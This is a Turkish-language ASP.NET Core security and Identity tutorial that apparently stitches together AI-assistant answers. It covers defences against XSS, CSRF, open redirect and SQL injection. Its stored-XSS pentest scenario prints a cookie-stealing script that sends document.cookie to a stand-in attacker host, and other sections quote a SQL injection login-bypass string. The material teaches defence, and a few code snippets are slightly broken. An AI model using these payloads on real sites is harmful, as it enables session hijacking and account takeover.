web uygulamaları geliştirilirken güvenlik, projenin mimari aşamasından canlıya
(production) alınma sürecine kadar her adımda en
kritik önceliktir. Bu eğitim içeriği, bir web uygulamasının maruz kalabileceği
en yaygın siber saldırı yöntemlerini teorik olarak kavramanızı ve bu tehditlere
karşı ASP.NET Core platformunun sunduğu
yerleşik (built-in) güvenlik mekanizmalarını
projenize nasıl entegre edeceğinizi öğretmeyi amaçlar.
Öğrenecekleriniz
Paragrafının Detaylı Açıklaması:
1. BÖLÜM: GÜVENLİK ÖNLEMLERİ VE MİMARİ KORUMA
1.1. Data Protection (Veri Koruma API'si)
Web
uygulamalarında bazı verilerin geçici veya kalıcı olarak dış dünyaya (kullanıcı
tarayıcısı, query string, cookie veya veritabanı) tamamen
okunamaz ve değiştirilemez bir şekilde sunulması gerekir. ASP.NET Core, kriptografik anahtar yönetimini otomatik olarak
üstlenen Data Protection API altyapısını
sunar. Bu yapı, veriyi gizlemekle kalmaz (Encryption),
aynı zamanda verinin yolda tahrif edilip edilmediğini de (Validation)
kontrol eder.
Mimari
İşleyiş: Protect ve Unprotect
Uygulama
Örneği:
Bir
e-ticaret uygulamasında ürün ID'lerini (int id) URL üzerinde (/Urun/Detay?id=5) açıkça göstermek
istemediğimizi, bunun yerine şifreli bir token
taşımak istediğimizi varsayalım.
using Microsoft.AspNetCore.DataProtection;
using Microsoft.AspNetCore.Mvc;
public class UrunController : Controller
{
private readonly IDataProtector _protector;
//
Kategoriye veya amaca özel purpose string tanımlıyoruz
public UrunController(IDataProtectionProvider provider)
{
_protector = provider.CreateProtector("Urun.Id.Koruma.V1");
}
public IActionResult
Listele()
{
int gercekUrunId =
1453;
//
Veriyi dış dünyaya açmadan önce şifreliyoruz
string sifreliId = _protector.Protect(gercekUrunId.ToString());
ViewBag.GuvenliLink
= $"/Urun/Detay?token={sifreliId}";
return View();
}
public IActionResult
Detay(string token)
{
try
{
// Şifreli veriyi çözüyoruz
string cozulenIdMetni
= _protector.Unprotect(token);
int urunId = int.Parse(cozulenIdMetni);
// Veritabanından ürünü getir...
return View(urunId);
}
catch (System.Security.Cryptography.CryptographicException)
{
// Eğer token tahrif edilmişse veya
anahtar geçersizse buraya düşer
return BadRequest("Geçersiz veya tahrif edilmiş istek!");
}
}
}
1.2. WhiteList / BlackList IP Control (IP Tabanlı Erişim Yönetimi)
Uygulamanızın
yönetim paneli (Admin) veya sadece belirli iş ortaklarının (B2B) erişmesi
gereken API uç noktaları (endpoints) bulunabilir.
Güvenliği artırmak adına, gelen isteklerin IP adreslerini filtrelemek en etkili
yöntemlerden biridir.
Mimari
İşleyiş: ActionFilter ile İstek Yakalama
ASP.NET
Core mimarisinde istek, Controller'daki
ilgili metoda (Action) ulaşmadan önce bir Action Filter
tarafından kesilir. Filter, gelen HTTP isteğinin HttpContext.Connection.RemoteIpAddress özelliğini okur. Eğer IP
adresi politikalara uymuyorsa, istek kesilerek doğrudan HTTP 403 Forbidden (Yasaklandı) yanıtı döndürülür.
Uygulama
Örneği:
Sadece
127.0.0.1 (Localhost)
ve 192.168.1.50 IP'lerinin erişebileceği bir
Beyaz Liste filtresi yazalım.
using Microsoft.AspNetCore.Mvc;
using Microsoft.AspNetCore.Mvc.Filters;
using System.Net;
public class IpBeyazListeFilter : ActionFilterAttribute
{
private readonly string _izinVerilenIpler
= "127.0.0.1;::1;192.168.1.50";
public override void OnActionExecuting(ActionExecutingContext context)
{
//
Gelen isteğin IP adresini alıyoruz
var
uzakIp = context.HttpContext.Connection.RemoteIpAddress;
//
IP listesini dizileştiriyoruz
var
ipListesi = _izinVerilenIpler.Split(';');
bool erisimIzniVar
= false;
if (uzakIp != null)
{
// IPv4 ve IPv6 haritalamalarını kontrol ediyoruz
if (uzakIp.IsIPv4MappedToIPv6)
{
uzakIp = uzakIp.MapToIPv4();
}
foreach (var ip in ipListesi)
{
if (IPAddress.Parse(ip).Equals(uzakIp))
{
erisimIzniVar = true;
break;
}
}
}
//
Eğer IP listede yoksa isteği durdur ve 403 Forbidden
dön
if (!erisimIzniVar)
{
context.Result = new
StatusCodeResult(StatusCodes.Status403Forbidden);
return;
}
base.OnActionExecuting(context);
}
}
Controller
Seviyesinde Kullanımı:
[IpBeyazListeFilter] //
Tüm controller seviyesinde IP kontrolü aktifleşir
public class AdminController : Controller
{
public IActionResult
Panel() => View();
}
1.3. Secret Protection
(Hassas Veri ve Sırların Korunması)
Veritabanı bağlantı cümleleri (Connection Strings),
API anahtarları veya şifreler gibi kritik veriler asla kaynak kod içinde (hardcoded) veya kaynak kod kontrol sistemlerine (Git, GitHub vb.) gönderilecek appsettings.json gibi dosyalarda düz metin
olarak saklanmamalıdır.
Mimari
İşleyiş: Secret Manager Tool ve Çevre Değişkenleri (Environment Variables)
Uygulama
Adımları:
2. dotnet user-secrets init
4. dotnet user-secrets set
"E ticaretSmsApi:GizliSifre" "SuperSecretKey123!"
6. public class SmsServis
7. {
8. private readonly string _apiKey;
9. public SmsServis(IConfiguration configuration)
10. {
11. // Geliştirme ortamında secrets.json'dan,
canlıda Environment'tan okur
12. _apiKey = configuration["EticaretSmsApi:GizliSifre"];
13. }
14.}
1.4. CORS (Cross-Origin Resource Sharing -
Kökenler Arası Kaynak Paylaşımı)
Tarayıcılar,
kullanıcı güvenliğini korumak adına varsayılan olarak SOP (Same-Origin Policy) yani Aynı
Köken Politikasını uygular. Bir web sitesi (örneğin https://eticaret.com), javascript
kullanarak farklı bir kökende yer alan API'ye
(örneğin https://banka.com) doğrudan istek gönderemez. Tarayıcı bu isteği engeller. Bu
engeli güvenli bir şekilde aşmak ve sadece bizim belirlediğimiz güvenilir dış
domainlerin API'mize erişmesine izin vermek için CORS
politikaları yapılandırılır.
Mimari
İşleyiş ve Politika Yapılandırma
API
tarafında HTTP yanıt başlıklarına (Response Headers) Access-Control-Allow-Origin
gibi ifadeler eklenerek tarayıcıya hangi domainlerin, hangi HTTP metotlarının
(GET, POST vb.) ve hangi header bilgilerinin yasal
olduğu bildirilir.
Uygulama
Örneği:
Sadece
https://GuvenliFirma.com adresinden gelen isteklere
izin veren, ancak diğer tüm istekleri engelleyen bir CORS politikasını merkezi
olarak tasarlayalım ve Controller seviyesinde uygulayalım.
Program.cs İçerisindeki Kurulum:
var builder = WebApplication.CreateBuilder(args);
// 1. CORS
Politikalarının Servis Olarak Eklenmesi
builder.Services.AddCors(options =>
{
options.AddPolicy("OzelOrtaklikPolitikasi", policy =>
{
policy.WithOrigins("https://guvenlifirma.com") //
Sadece bu domaine izin ver
.WithMethods("GET", "POST") // Sadece GET ve POST'a izin ver
.WithHeaders("Content-Type", "Authorization"); //
İzin verilen headerlar
});
});
builder.Services.AddControllers();
var app = builder.Build();
app.UseRouting();
// 2. CORS Ara
Yazılımının (Middleware) Aktif Edilmesi (Sıralama
Önemlidir!)
app.UseCors();
app.UseAuthorization();
app.MapControllers();
app.Run();
Controller
ve Metot Seviyesinde Etkinleştirme:
Bütün API'yi dışa açmak yerine, sadece belirli
Controller veya Action metotlarını bu CORS kuralına tabi tutabiliriz.
using Microsoft.AspNetCore.Cors;
using Microsoft.AspNetCore.Mvc;
[ApiController]
[Route("api/[controller]")]
// Belirlenen
politikayı Controller seviyesinde aktifleştiriyoruz
[EnableCors("OzelOrtaklikPolitikasi")]
public class VeriPaylasimController : ControllerBase
{
[HttpGet("stoklar")]
public IActionResult GetStoklar()
{
return Ok(new
{ Mesaj = "Bu veri sadece
guvenlifirma.com tarafından okunabilir." });
}
[HttpDelete("stok-sil")]
[DisableCors] // Bu metoda dışarıdan CORS ile erişimi tamamen kapatıyoruz
public IActionResult StokSil()
{
return Ok();
}
}
Talebiniz
doğrultusunda, eğitim içeriğinin ikinci büyük başlığı olan "Genel
Güvenlik Açıkları, Built-in Gelen Güvenlik Önlemleri
ve Korunma Yolları" bölümünü; sürelerden, "Önizleme"
ve "ders" ibarelerinden tamamen arındırarak, bol kod örneği, teorik
altyapı ve pratik uygulamalarla ele alıyorum.
2. BÖLÜM: GENEL GÜVENLİK AÇIKLARI VE KORUNMA YOLLARI
2.1. Cross-Site Scripting Attacks
(XSS)
XSS
(Siteler Arası Betik Çalıştırma), kötü niyetli kişilerin güvenilmeyen istemci girdilerini (input) doğrudan web sayfasına enjekte etmesiyle oluşan bir
zafiyettir. Saldırgan, kurbanın tarayıcısında çalışmak üzere JavaScript kodları
yürütür. Bu yolla kullanıcıların oturum çerezleri (Session
Cookies) çalınabilir, tarayıcı oturumları ele
geçirilebilir veya kullanıcılar sahte sayfalara yönlendirilebilir.
Reflected XSS (Yansıyan XSS)
Kullanıcıdan
alınan zararlı girdinin veritabanına kaydedilmeden,
hemen o anda dönen HTTP yanıtının (Response)
içerisine yansıtılması durumudur. Genellikle arama kutuları, hata mesajları
veya URL'deki Query String parametreleri üzerinden
gerçekleştirilir.
Stored XSS (Kalıcı XSS)
Saldırganın
enjekte ettiği zararlı JavaScript kodunun web uygulamasının veritabanına,
yorum satırlarına, forum gönderilerine veya profil açıklamalarına kalıcı olarak
kaydedilmesi durumudur. Bu sayfayı ziyaret eden tüm masum kullanıcılar
farkında olmadan bu betiği tarayıcılarında çalıştırırlar.
2.2. HtmlEncoder / JavaScriptEncoder / UrlEncoder
Nedir?
ASP.NET
Core, XSS saldırılarını önlemek için güçlü bir Encoding (Kodlama) altyapısına sahiptir.
Varsayılan olarak Razor View
motoru (.cshtml),
@ sembolü ile yazılan tüm string ifadeleri otomatik olarak HTML kodlamasından geçirir
(HTML Encode).
Ancak
bazı durumlarda dinamik olarak JavaScript bloklarının içerisine veri basmanız
veya URL oluşturmanız gerekebilir. Bu durumlarda yerleşik encoder
sınıfları kullanılır.
Uygulama
Örneği:
using System.Text.Encodings.Web;
using Microsoft.AspNetCore.Mvc;
public class YonetimController : Controller
{
private readonly HtmlEncoder _htmlEncoder;
private readonly JavaScriptEncoder _javaScriptEncoder;
private readonly UrlEncoder _urlEncoder;
//
Built-in encoder'ları Dependency Injection ile talep
ediyoruz
public YonetimController(HtmlEncoder htmlEncoder, JavaScriptEncoder javaScriptEncoder,
UrlEncoder urlEncoder)
{
_htmlEncoder
= htmlEncoder;
_javaScriptEncoder
= javaScriptEncoder;
_urlEncoder =
urlEncoder;
}
public IActionResult
Filtrele(string kullaniciGirdisi)
{
//
Örnek girdi: <script>alert(1)</script>
//
1. HTML Güvenliği İçin Kodlama
string guvenliHtml =
_htmlEncoder.Encode(kullaniciGirdisi);
//
Çıktı: <script>alert(1)</script>
//
2. JavaScript Blokları İçin Kodlama
string guvenliJs = _javaScriptEncoder.Encode(kullaniciGirdisi);
//
Çıktı: \u003Cscript\u003Ealert(1)\u003C/script\u003E
//
3. URL Parametreleri İçin Kodlama
string guvenliUrl = _urlEncoder.Encode(kullaniciGirdisi);
//
Çıktı: %3Cscript%3Ealert%281%29%3C%2Fscript%3E
return Content($"HTML: {guvenliHtml} | JS: {guvenliJs} | URL: {guvenliUrl}");
}
}
2.3. Cross-Site Request Forgery (CSRF / XSRF)
CSRF
(Siteler Arası İstek Sahtekarlığı), kullanıcının halihazırda kimlik doğrulaması yaptığı
(oturum açtığı) güvenilir bir web sitesine, kullanıcının bilgisi ve iradesi
dışında istek gönderilmesi saldırısıdır. Tarayıcılar, bir siteye istek atarken
o siteye ait kayıtlı çerezleri (Cookies) otomatik
olarak isteğe ekler. Saldırganlar bu tarayıcı davranışını istismar eder.
ASP.NET
Core Built-in Korunma
Mekanizması
ASP.NET
Core, form işlemlerinde ve API isteklerinde Antiforgery (Token-tabanlı
doğrulama) mekanizmasını yerleşik olarak sunar. Sunucu, formu oluştururken
istemciye gizli bir __RequestVerificationToken üretir. Form gönderildiğinde
sunucu bu token'ın geçerliliğini doğrular.
Uygulama
Örneği:
Razor View içerisinde oluşturulan
standart formlar otomatik olarak bu token'ı içerir.
<!-- Urun.cshtml -->
@model
ParaTransferViewModel
<form asp-action="Gonder" asp-controller="Hesap" method="post">
<input asp-for="AliciHesapNo" />
<input asp-for="Miktar" />
<button type="submit">Gönder</button>
</form>
<!-- Arka planda HTML çıktısına otomatik olarak şu eklenir:
<input name="__RequestVerificationToken" type="hidden" value="CfDJ8..."
/>
-->
Controller
Tarafında Doğrulama:
Gelen isteklerin token kontrolünden geçmesini zorunlu
kılmak için [ValidateAntiForgeryToken] veya global olarak [AutoValidateAntiforgeryToken] attribute
yapıları kullanılır.
using Microsoft.AspNetCore.Mvc;
public class HesapController : Controller
{
[HttpPost]
[ValidateAntiForgeryToken]
// Bu attribute
sayesinde dış sitelerden gelen sahte istekler engellenir
public IActionResult Gonder(ParaTransferViewModel
model)
{
if (ModelState.IsValid)
{
// İşlemi güvenle gerçekleştir
return RedirectToAction("Basarili");
}
return View(model);
}
}
2.4. Open Redirect Attacks (Açık Yönlendirme Açığı)
Uygulamalarda
kullanıcı giriş yaptıktan veya bir işlem tamamlandıktan sonra sıklıkla bir
önceki sayfaya yönlendirme yapılır. Bu yönlendirme hedefi genellikle bir returnUrl parametresi ile URL üzerinden taşınır. Eğer bu parametre
doğrulanmazsa, saldırgan kullanıcıyı tamamen kendi kontrolündeki sahte/zararlı
bir siteye (oltalama - phishing) yönlendirebilir.
Korunma
Yolu: IsLocalUrl Kontrolü
ASP.NET
Core içerisinde yer alan Url.IsLocalUrl() metodu, verilen yönlendirme
adresinin gerçekten bizim uygulamamıza (domainimize) ait olup olmadığını
kontrol eder. Eğer yerel bir URL değilse yönlendirmeyi iptal edip ana sayfaya
yönlendirmek güvenliği sağlar.
Uygulama
Örneği:
using Microsoft.AspNetCore.Mvc;
public class AccountController : Controller
{
[HttpPost]
public IActionResult
Login(LoginViewModel model, string returnUrl)
{
//
Kimlik doğrulama adımları... (Başarılı varsayalım)
//
Güvenlik Kontrolü: returnUrl boş değilse ve bizim
sitemize aitse oraya git
if (!string.IsNullOrEmpty(returnUrl)
&& Url.IsLocalUrl(returnUrl))
{
return Redirect(returnUrl);
}
//
Eğer dış bağlantı tespit edilirse veya boşsa güvenli bir şekilde ana sayfaya
yönlendir
return RedirectToAction("Index", "Home");
}
}
2.5. HTTPS ve HSTS (HTTP Strict
Transport Security)
İstemci
ile sunucu arasındaki tüm veri trafiğinin açık metin (Plain
Text) olarak taşınması, aradaki saldırganların veriyi
dinlemesine (Man-in-the-Middle - MitM)
olanak tanır.
Uygulama
Örneği (Program.cs Konfigürasyonu):
ASP.NET
Core uygulamalarında projenin production
(canlı) ortamında zorunlu HTTPS ve HSTS politikalarını devreye almak için ara
yazılımlar (middleware) kullanılır.
var builder = WebApplication.CreateBuilder(args);
builder.Services.AddControllersWithViews();
var app = builder.Build();
if (!app.Environment.IsDevelopment())
{
//
Canlı ortamda tarayıcılara HSTS header'ını
göndermesini söyler
app.UseHsts();
}
// Gelen tüm HTTP
isteklerini otomatik olarak HTTPS protokolüne yönlendirir
app.UseHttpsRedirection();
app.UseStaticFiles();
app.UseRouting();
app.UseAuthorization();
app.MapControllerRoute(
name: "default",
pattern:
"{controller=Home}/{action=Index}/{id?}");
app.Run();
2.6. SQL Injection Attacks
SQL
Injection (SQLi), bir web uygulamasının veritabanına gönderdiği sorgulara, kullanıcı girdileri
vasıtasıyla dışarıdan müdahale edilmesidir. Saldırgan, girdi alanlarına SQL
komut parçacıkları enjekte ederek veritabanındaki tüm
verileri okuyabilir, silebilir veya değiştirebilir.
Güvensiz
Kod Mimari Örneği (Ham SQL Sorgusu):
Aşağıdaki
kod bloğunda girdi doğrudan SQL cümlesiyle birleştirilmiştir (String Concatenation):
// KESİNLİKLE
KULLANILMAMALIDIR! (Zafiyet barındırır)
string sorgu = "SELECT
* FROM Kullanicilar WHERE Email
= '"
+ gelenEmail + "'
AND Sifre = '" + gelenSifre +
"'";
Saldırgan
gelenEmail alanına ' OR '1'='1 yazdığında sorgu mantıksal olarak her zaman doğru (true) dönecek ve şifreyi bilmeden sisteme giriş yapacaktır.
Korunma
Yolları: Parametrik Sorgular ve Entity Framework Core
Entity Framework Core (EF Core) LINQ sorguları, arka planda otomatik olarak Parametrik
SQL ürettiği için SQL Injection saldırılarına
karşı varsayılan olarak tam koruma sağlar. Eğer illa ki ham (raw) SQL sorgusu yazılması gerekiyorsa, girdiler kesinlikle
parametre olarak geçilmelidir.
Uygulama
Örneği:
using Microsoft.AspNetCore.Mvc;
using Microsoft.EntityFrameworkCore;
public class Urun AramaController : Controller
{
private readonly UygulamaDbContext _context;
public UrunAramaController(UygulamaDbContext context)
{
_context = context;
}
//
1. GÜVENLİ YÖNTEM: Entity Framework LINQ Kullanımı (Built-in Koruma)
public async Task<IActionResult>
Ara(string urunAdi)
{
//
EF Core bu sorguyu otomatik olarak parametrik hale
getirir
var
urunler = await _context.Urunler
.Where(x => x.Ad == urunAdi)
.ToListAsync();
return View(urunler);
}
//
2. GÜVENLİ YÖNTEM: Ham SQL Kullanırken Parametre Tanımlama
public async Task<IActionResult>
DetayliHamAra(string kategoriAd)
{
//
String Interpolation
formatında {0} kullanımı, EF Core tarafından arka
planda SqlParameter'a dönüştürülür
var
kategoriler = await _context.Kategoriler
.FromSqlRaw("SELECT
* FROM Kategoriler WHERE KategoriAdi = {0}", kategoriAd)
.ToListAsync();
return View(kategoriler);
}
}
Siber
güvenlikte savunma mekanizmalarını doğru kurgulamanın en etkili yolu, sisteme
bir saldırgan gözüyle bakabilmektir. Bu doğrultuda, eğitim içeriğimizde de yer
alan ve en yaygın zafiyetlerden biri olan Stored
XSS (Kalıcı Siteler Arası Betik Çalıştırma) zafiyetine karşı bir sızma
testi (Pentest) senaryosu hazırlayalım.
Bu
senaryoda, bir e-ticaret veya blog uygulamasındaki "Kullanıcı
Yorumları" alanını hedef alacağız. Amacımız, sisteme giriş yapmış bir
kurbanın oturum çerezlerini (Session Cookies / Auth Cookies) ele geçirmek olacak.
STORED XSS SIZMA TESTİ (PENTEST) SENARYOSU
🌟 Senaryo
Bileşenleri ve Roller
🛑 ADIM 1:
Keşif ve Sızma Noktasının Tespiti (Reconnaissance)
Pentester, hedef web uygulamasında dışarıdan girdi kabul eden ve bu
girdiyi daha sonra tekrar ekrana basan alanları arar.
🎯 ADIM 2:
Zafiyet Testi (Fuzzing / Payload
Injection)
Pentester, girdi alanının HTML kodlarını filtreleyip filtrelemediğini
anlamak için basit bir JavaScript kodu (Payload)
enjekte eder.
Yorum
kutusuna yazılan ilk test kodu:
<script>alert('XSS_Testi_Basarili')</script>
Sistem
Davranışı Analizi:
Yorum gönderildikten sonra sayfa yenilenir.
⚡ ADIM 3: İstismar
Aşaması (Exploitation & Cookie
Stealing)
Zafiyetin
varlığı kesinleştikten sonra pentester, basit bir
uyarı kutusu yerine kurbanların oturumlarını ele geçirecek gelişmiş bir
istismar kodu hazırlar.
Geliştirilen
Zararlı JavaScript Kodu (Payload):
<script>
// Kurbanın tarayıcısındaki çerezleri oku
ve URL formatına uygun hale getir
var calinanCerez = encodeURIComponent(document.cookie);
// Saldırganın sunucusuna arka planda
gizlice bir istek gönder
// Görünmez bir resim nesnesi oluşturarak
tarayıcının bu isteği yapmasını tetikliyoruz
var sızmaResmi = new Image();
sızmaResmi.src = 'https://hacker-dinleme-sunucusu.com' + calinanCerez;
</script>
Saldırının
Gerçekleşmesi:
📈 ADIM 4:
Bilgi Toplama ve Hak Yükseltme (Post-Exploitation)
Saldırganın
dinleme sunucusundaki log dosyasına (Örn: log.php) şu şekilde bir kayıt düşer:
[2026-08-29
19:45:00] Gelen İstek IP: 95.xx.xx.xx
Alınan
Veri (Cookie): .AspNetCore.Identity.Application=CfDJ8M3t...[Çok Uzun Bir Token]...
Saldırgan,
kendi tarayıcısının geliştirici araçlarını (F12 ->
Application -> Cookies) açar. Hedef sitenin çerez
alanına bu çaldığı token değerini yapıştırır ve
sayfayı yeniler. Artık sunucu, saldırganı Admin olarak tanıyacaktır.
Saldırgan şifre bilmeden sisteme tam yetkili olarak sızmıştır.
🛡️ ADIM 5:
Raporlama ve Kapatma (Remediation)
Sızma
testi uzmanı, bu durumu bir rapor haline getirerek yazılım ekibine sunar.
ASP.NET Core tarafında bu zafiyeti tamamen kapatmak
için şu iki kritik önlem uygulanmalıdır:
1. HttpOnly Çerez
Koruması (En Kritik Önlem)
XSS
zafiyeti olsa bile, JavaScript kodlarının tarayıcıdaki hassas oturum
çerezlerine erişmesi engellenebilir. Bunun için çerezler tanımlanırken HttpOnly bayrağı aktif edilmelidir.
Program.cs veya Cookie Konfigürasyonu:
builder.Services.ConfigureApplicationCookie(options =>
{
//
JavaScript'in (document.cookie)
bu çereze erişmesini kesinlikle engeller!
options.Cookie.HttpOnly
= true;
options.Cookie.SecurePolicy
= CookieSecurePolicy.Always; // Sadece HTTPS
options.Cookie.SameSite
= SameSiteMode.Strict;
});
Bu
önlem alındığında, yukarıdaki Pentest senaryosundaki document.cookie komutu boş string dönecek ve saldırı başarısız olacaktır.
2. Güvenli Çıktı Yönetimi (Razor
Yapısı)
Eğer
veritabanından gelen veriyi ekrana basarken ham (raw) HTML olarak basmanız gerekiyorsa (Html.Raw kullanımı gibi), girdiyi önce sisteme kabul ederken
arındırmalısınız (Sanitization).
<!-- GÜVENSİZ KULLANIM: Girdiyi olduğu gibi çalıştırır -->
@Html.Raw(Model.YorumMetni)
<!-- GÜVENLİ KULLANIM: Razor otomatik
olarak HTML Encode uygular -->
<p>@Model.YorumMetni</p>
<!-- Çıktı: <script>
şeklinde olacağı için tarayıcı kodu çalıştırmaz, ekranda yazı olarak gösterir.
-->
Metniniz
oldukça kapsamlı ve detaylı bir ASP.NET Core
Identity kurs müfredatını içeriyor. İstediğiniz doğrultuda; anlamsız
satırları (tek başına kalmış süre ifadelerini), "Önizleme"
ve "ders" ibarelerini tamamen temizleyerek, içeriği mantıksal
modüller halinde derinlemesine planladım.
Öncelikle
talep ettiğiniz üzere "Öğrenecekleriniz" paragrafını
açıklayarak başlayalım, ardından tüm konuları pratik kod örnekleri ve mimari
uygulamalarla satır satır inşa edelim.
"Öğrenecekleriniz" Paragrafının Açıklaması
Bu
kursta, modern web uygulamalarının en kritik bölümlerinden biri olan güvenli
kullanıcı yönetim sistemini sıfırdan kurmayı öğreneceksiniz. Kurs, sadece
hazır kütüphaneleri projenize eklemeyi değil; veritabanı
tablolarının arka planda nasıl oluştuğunu, cookie
(çerez) mekanizmalarının nasıl çalıştığını, şifrelerin nasıl güvenli şekilde hash'lendiğini ve kullanıcı yetkilendirmelerinin (rol ve claim tabanlı) modern mimarilere (N-Layer/Katmanlı
Mimari) nasıl entegre edildiğini uygulamalı olarak gösterir.
Kurs
sonunda bir kullanıcının kayıt olmasından, şifresini unuttuğunda güvenli token ile sıfırlamasına; profil resmi yüklemesinden, üçüncü
parti (Google/Facebook) hesaplarıyla tek tıkla giriş yapmasına kadar uçtan
uca profesyonel bir üyelik altyapısı geliştirebilecek seviyeye
geleceksiniz.
🛠️ MODÜL 1:
Giriş ve Temel Kavramlar
1. Identity Üzerine Temel Sorular & Kurulum
Gereksinimleri
ASP.NET
Core Identity; kullanıcı girişi, kayıt olma, şifre
yönetimi, rol tanımlama ve yetkilendirme gibi süreçleri yöneten, Microsoft
tarafından geliştirilmiş hazır bir üyelik kütüphanesidir.
Gereksinimler:
2. Cookie-Based Authentication (Çerez Tabanlı Kimlik Doğrulama) Nedir?
Web
uygulamalarında HTTP protokolü stateless
(durumsuz) yapıdadır. Yani sunucu, kullanıcının bir sonraki isteğinde onun kim
olduğunu hatırlamaz. Bu problemi çözmek için Cookie-Based
Authentication kullanılır.
📑 MODÜL 2: IdentityDbContext Yapısının Kurulması (.NET 7)
Identity
mekanizmasının veritabanındaki tabloları
oluşturabilmesi için Entity Framework Core kullanacağız. Normalde DbContext sınıfından miras alırken,
Identity projelerinde IdentityDbContext sınıfından miras alırız.
💻 Uygulama: Custom Context ve Tabloların
Özelleştirilmesi
İlk
olarak projemize gerekli NuGet paketlerini ekliyoruz:
Install-Package Microsoft.AspNetCore.Identity.EntityFrameworkCore
Install-Package Microsoft.EntityFrameworkCore.SqlServer
Install-Package Microsoft.EntityFrameworkCore.Tools
Ardından
kullanıcı ve rol sınıflarımızı özelleştirebilmek adına AppUser ve AppRole sınıflarımızı oluşturuyoruz:
using Microsoft.AspNetCore.Identity;
public class AppUser : IdentityUser
{
//
Varsayılan tablonun dışına çıkıp yeni alanlar ekliyoruz
public string? City { get; set;
}
public string? Picture { get; set;
}
public DateTime? BirthDate { get; set;
}
public string? Gender { get; set;
}
}
public class AppRole : IdentityRole
{
//
Rol tablosuna özel ekstra alan eklemek isterseniz buraya yazabilirsiniz
}
Şimdi
IdentityDbContext yapımızı bu sınıflarla kuruyoruz:
using Microsoft.AspNetCore.Identity.EntityFrameworkCore;
using Microsoft.EntityFrameworkCore;
public class AppDbContext : IdentityDbContext<AppUser, AppRole, string>
{
public AppDbContext(DbContextOptions<AppDbContext>
options) : base(options)
{
}
}
Program.cs İçindeki Konfigürasyon:
Uygulamanın veritabanı bağlantısını ve Identity
servislerini tanıması için Program.cs dosyasına şu ayarları
ekleriz:
builder.Services.AddDbContext<AppDbContext>(options =>
options.UseSqlServer(builder.Configuration.GetConnectionString("DefaultConnection")));
builder.Services.AddIdentity<AppUser, AppRole>()
.AddEntityFrameworkStores<AppDbContext>();
Bu
işlemden sonra Paket Yönetim Konsolu (Package Manager
Console) üzerinden Add-Migration InitialCreate ve Update-Database komutlarını
çalıştırdığımızda SQL Server üzerinde otomatik olarak AspNetUsers, AspNetRoles, AspNetUserClaims gibi temel Identity
tabloları oluşturulur.
🔐 MODÜL 3:
Kullanıcı Kayıt ve Giriş İşlemleri (.NET 7)
Kullanıcı
etkileşimlerini yönetmek için öncelikle verileri taşımak adına ViewModel yapıları kurmalıyız.
1. Üye Ol (SignUp) Aşaması
SignUpViewModel Yapısı:
using System.ComponentModel.DataAnnotations;
public class SignUpViewModel
{
[Required(ErrorMessage = "Kullanıcı adı zorunludur.")]
public string UserName { get;
set; }
[EmailAddress(ErrorMessage = "Geçerli bir e-posta adresi giriniz.")]
[Required(ErrorMessage = "E-posta adresi zorunludur.")]
public string Email { get;
set; }
[Required(ErrorMessage = "Şifre zorunludur.")]
[DataType(DataType.Password)]
public string Password { get;
set; }
[Compare("Password", ErrorMessage = "Şifreler uyuşmuyor.")]
[DataType(DataType.Password)]
public string ConfirmPassword { get; set; }
}
💻 Uygulama: SignUp Action Method Kodlaması
public class HomeController : Controller
{
private readonly UserManager<AppUser>
_userManager;
public HomeController(UserManager<AppUser> userManager)
{
_userManager
= userManager;
}
[HttpGet]
public IActionResult SignUp() => View();
[HttpPost]
public async Task<IActionResult>
SignUp(SignUpViewModel
model)
{
if (!ModelState.IsValid)
return View(model);
AppUser user = new
AppUser
{
UserName
= model.UserName,
Email = model.Email
};
//
CreateAsync şifreyi otomatik olarak hashleyerek veritabanına
kaydeder.
IdentityResult
result = await _userManager.CreateAsync(user, model.Password);
if (result.Succeeded)
{
return RedirectToAction("SignIn");
}
//
Eğer hata varsa ModelState'e ekleyip arayüzde
gösteriyoruz
foreach (var error in
result.Errors)
{
ModelState.AddModelError(string.Empty, error.Description);
}
return View(model);
}
}
2. Özelleştirilmiş Şifre ve Kullanıcı Doğrulamaları (IPasswordValidator & IUserValidator)
Identity
varsayılan olarak şifrelerde büyük harf, rakam ve sembol zorunluluğu getirir.
Bunları Program.cs üzerinden esnetebilir veya
kendi kurallarımızı yazabiliriz.
Custom Password Validator
Örneği:
Kullanıcının şifresinin kullanıcı adını içermesini engellemek istiyoruz.
using Microsoft.AspNetCore.Identity;
public class CustomPasswordValidator : IPasswordValidator<AppUser>
{
public Task ValidateAsync(UserManager<AppUser> manager, AppUser user, string? password)
{
var
errors = new
List();
if (password != null && password.Contains(user.UserName!))
{
errors.Add(new
IdentityError
{
Code
= "PasswordContainsUserName",
Description
= "Şifre alanı kullanıcı adı
içeremez."
});
}
return Task.FromResult(errors.Count == 0 ? IdentityResult.Success : IdentityResult.Failed(errors.ToArray()));
}
}
Identity
Hata Mesajlarını Türkçeleştirme (IdentityErrorDescriber):
Identity varsayılan olarak İngilizce hata döndürür. Bunu ezmek için bir sınıf
oluştururuz:
public class CustomIdentityErrorDescriber : IdentityErrorDescriber
{
public override IdentityError DuplicateUserName(string userName)
{
return new
IdentityError { Code = "DuplicateUserName", Description =
$"'{userName}'
kullanıcı adı zaten alınmış." };
}
public override IdentityError PasswordTooShort(int length)
{
return new
IdentityError { Code = "PasswordTooShort", Description =
$"Şifre en az {length}
karakter olmalıdır."
};
}
}
Program.cs Kaydı:
builder.Services.AddIdentity<AppUser, AppRole>(options => {
options.Password.RequiredLength
= 6;
options.Password.RequireNonAlphanumeric
= false;
})
.AddPasswordValidator<CustomPasswordValidator>()
.AddErrorDescriber()
.AddEntityFrameworkStores<AppDbContext>();
3. Üye Girişi (SignIn) ve Kilit
Mekanizması (LockoutOnFailure)
Giriş
işlemlerinde SignInManager servisi kullanılır.
[HttpPost]
public async Task<IActionResult>
SignIn(SignInViewModel
model, string? returnUrl = null)
{
if (!ModelState.IsValid)
return View(model);
var
user = await _userManager.FindByEmailAsync(model.Email);
if (user == null)
{
ModelState.AddModelError(string.Empty, "E-posta
veya şifre hatalı.");
return View(model);
}
//
IsPersistent: Beni Hatırla seçeneğidir.
//
lockoutOnFailure: true
verilirse art arda hatalı girişlerde hesap kilitlenir.
var
result = await _signInManager.PasswordSignInAsync(user, model.Password, model.RememberMe, lockoutOnFailure:
true);
if (result.Succeeded)
{
if (!string.IsNullOrEmpty(returnUrl)
&& Url.IsLocalUrl(returnUrl))
return Redirect(returnUrl);
return RedirectToAction("Index", "Member");
}
if (result.IsLockedOut)
{
ModelState.AddModelError(string.Empty, "Hesabınız
çok fazla hatalı girişten dolayı 5 dakika kilitlenmiştir.");
}
